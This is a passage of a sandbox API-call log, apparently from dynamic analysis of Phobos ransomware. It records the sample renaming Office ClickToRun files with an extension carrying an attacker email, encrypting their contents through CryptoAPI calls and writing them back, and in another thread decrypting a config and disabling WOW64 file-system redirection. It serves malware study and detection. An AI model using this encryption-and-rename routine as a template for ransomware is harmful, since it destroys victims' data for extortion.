files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0062.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.941] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.942] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=1761448) returned 1 [0062.942] CloseHandle (hObject=0x338) returned 1 [0062.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20 [0062.942] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0062.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.943] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0062.943] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0062.943] ReadFile (in: hFile=0x338, lpBuffer=0x38f8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x38f8058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0063.250] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0063.250] ReadFile (in: hFile=0x338, lpBuffer=0x3938058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3938058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0064.819] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0064.819] ReadFile (in: hFile=0x338, lpBuffer=0x3978058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3978058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0065.418] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f698, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f704 | out: phKey=0x352f704*=0x10dc750) returned 1 [0065.418] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0065.418] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b8*=0xc0070, dwBufLen=0xc0070 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b8*=0xc0070) returned 1 [0065.419] CryptDestroyKey (hKey=0x10dc750) returned 1 [0065.419] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6e0 | out: lpNewFilePointer=0x0) returned 1 [0065.419] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xc0122, lpNumberOfBytesWritten=0x352f6f0, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f0*=0xc0122, lpOverlapped=0x0) returned 1 [0065.438] SetEndOfFile (hFile=0x338) returned 1 [0065.438] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0065.438] WriteFile (in: hFile=0x338, lpBuffer=0x39b815a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b815a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0065.440] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0065.440] WriteFile (in: hFile=0x338, lpBuffer=0x39b815a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b815a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0065.442] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0065.442] WriteFile (in: hFile=0x338, lpBuffer=0x39b815a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b815a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0065.443] CloseHandle (hObject=0x338) returned 1 [0065.443] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0065.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0065.444] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=263896) returned 1 [0065.444] CloseHandle (hObject=0x338) returned 1 [0065.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0065.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0065.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0065.444] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0065.444] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0065.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0065.445] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcb90) returned 1 [0065.445] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0065.445] ReadFile (hFile=0x338, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0) Thread: id = 39 os_tid = 0x270 [0042.855] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x3360080 [0042.855] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x3370088 [0042.856] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x28) returned 0x2b1b530 [0042.856] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x110102) returned 0x3a1d020 [0042.859] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x50) returned 0x2b1b560 [0042.859] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc60, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fcc8 | out: phKey=0x366fcc8*=0x10c9450) returned 1 [0042.859] CryptSetKeyParam (hKey=0x10c9450, dwParam=0x1, pbData=0x366fcb0, dwFlags=0x0) returned 1 [0042.859] CryptDecrypt (in: hKey=0x10c9450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b560, pdwDataLen=0x366fc7c | out: pbData=0x2b1b560, pdwDataLen=0x366fc7c) returned 1 [0042.859] CryptDestroyKey (hKey=0x10c9450) returned 1 [0042.859] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0042.859] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0042.859] Wow64DisableWow64FsRedirection (in: OldValue=0x366fd14 | out: OldValue=0x366fd14*=0x0) returned 1 [0042.859] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b560 | out: hHeap=0x2b10000) returned 1 [0042.859] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.859] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.859] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.859] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.860] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.860] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.860] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.860] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.860] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.860] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.860] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.860] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.860] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.860] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.860] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.860] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.860] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.861] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.861] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.861] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.861] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.861] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.861] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.861] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.861] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.861] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.862] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.862] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.862] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.862] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.862] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.862] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.862] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.862] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.862] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.862] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.862] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.862] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.862] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.863] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.863] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.863] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.863] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.863] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.863] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.863] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.865] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.865] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.865] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.865] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.865] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.865] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.865] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.865] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.865] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.865] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.865] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.865] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.865] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.866] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.866] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.866] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.866] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.866] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.866] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.866] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.866] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.866] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.866] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.866] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.867] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.867] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.867] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.867] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.867] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.867] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.867] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.867] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.867] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.867] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.867] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.867] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.867] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.868] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.868] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.868] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.868] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.868] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.868] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.868] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.868] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.868] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.868] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.868] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.868] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.868] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.868] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.869] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.869] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.869] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.869] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.869] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.869] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.869] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.869] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.869] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.869] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.869] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.869] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.869] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.869] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.870] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.870] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.870] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.870] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.870] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.870] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.870] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.870] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.870] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.870] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.870] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.870] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.870] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.871] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.871] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.871] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.871] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.871] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.871] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.871] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.872] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.872] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.872] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.872] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.872] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.872] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.872] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.872] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.872] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.872] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.872] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.872] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.872] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.873] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.873] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.873] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.873] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.873] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.873] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.873] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.873] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.873] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.873] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.873] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.873] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.873] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.873] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.873] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.874] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.874] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.874] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.874] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.874] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.874] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.874] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.874] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.874] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.874] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.874] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.874] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.874] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.874] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.874] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] WaitForSingleObject 